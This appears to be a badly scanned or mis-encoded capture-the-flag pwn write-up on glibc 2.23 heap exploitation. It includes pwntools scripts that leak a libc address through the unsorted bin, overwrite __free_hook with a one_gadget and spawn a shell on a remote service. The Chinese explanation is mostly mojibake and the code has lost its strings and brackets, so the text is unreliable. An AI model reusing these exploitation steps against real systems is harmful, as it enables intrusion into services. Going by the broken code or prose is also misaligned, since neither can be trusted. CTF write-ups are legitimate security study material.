p.recvuntil( )
p.sendline( (index))
return p.recv(0x100)

def delete(index):
.sendline( )
.recvuntil( )
.sendline( (index))
.recvuntil( )

def flag():

p.sendline(
p.recv(100)

update(0,p64(printf_addr))
new ( )
new(p64(system_addr))

flag()
p.interactive()

2.23

2 23BN ME, B Afastbin& i Kisizehr, FAARESE, X BRI @SB BB M ERERexp

KAk B % A SE 3R AN ibc e dik, 485 I editeR 2 £ B i kit 5 3R Bt shell




FREL libct hik
— R, HEBUREUibcEE bt i 7 i R R Flmain_arena, T AT LAE B delete B $U 2 F scanf3R BRI HE, scanfg — AL :

scanfil BB B — MR KK F/ 8, SHiE—AMarge bin, i<k malloc_consolidate, HEERA& I, fastbin& ¥ iEunsorted bin,
HiE —AMarge binfAH &£ Asmall bind, F ki 8iA T main_arenalftix ik .

AT B — AN HEH S P X AR 1R B ZEunsorted binfy 8 F]main_arenailit, FVkshowix ™ HEH Bl 7T 3R EUibc i bt
3R Hshell

hook#HX A LAS5 X B http://Obs3rver.space/2020/11/26/pwnable-tw-Tcache Tear-tcache-dupANDhouse-of-spiritAND-free-
hook/#H% Hil i 5 ¢

BAIRE TlibcEeht, BIRIB 3] _ free_hook Hitbil, Tiedittk$h T IH R LKindexE, #Lhr EEEERMIEE, BRATATLL
18 i fastbinf BLEE R HLHIHT ED i heap b hik .

A2 RAVH AT LAE 6 F FHaddit _ free_hook MM EIHESR , Bt EH TS chunk A K m#e, BN A F) FHeditki 1
¥ free_hook HIHshEAR AHEERMAE, 1A B S None_gadgetifIfE, FdeleteEHRHH _ free hook , EJH3KEXshell


http://0bs3rver.space/2020/11/26/pwnable-tw-TcacheTear-tcache-dupANDhouse-of-spiritAND-free-hook/#%25E6%258E%25A7%25E5%2588%25B6%25E6%25B5%2581%25E5%258A%25AB%25E6%258C%2581

from pwn import

,log level

gdb.attach(p)
pause()
def add(content):
p.sendlineafter( 5 )
p.sendafter( ,content)
def edit(index,content):
p.sendlineafter( )
p.sendlineafter( 5 (index))
p.sendafter( ,content)
def show(index):
p.sendlineafter( )
p.sendlineafter( (index))
def delete(index):
p.sendlineafter( )
p.sendlineafter( (index))

[0x45226,0x4527a,0xf0364,0x11207 |

remote( ,10001)

0x410)

ub4(p.recv(6).ljust(s, ))-120-0x10-1ibc.symbols[
malloc_hook libc_base+libc.symbols| ]
free_hook libc_base+libc.symbols|
exit_hook libc_base+0x5f0040+3848
libc_base+og[1]
(libc_base)
(exit_hook)
(malloc_hook)

u64(p.recvuntil(
(GEEE))

add (p64(free_hook))

heap heap_base+0x70

offset (heap-0x00601460)/8
print (offset)
edit(offset,p64(shell))
delete(9)

p.interactive()
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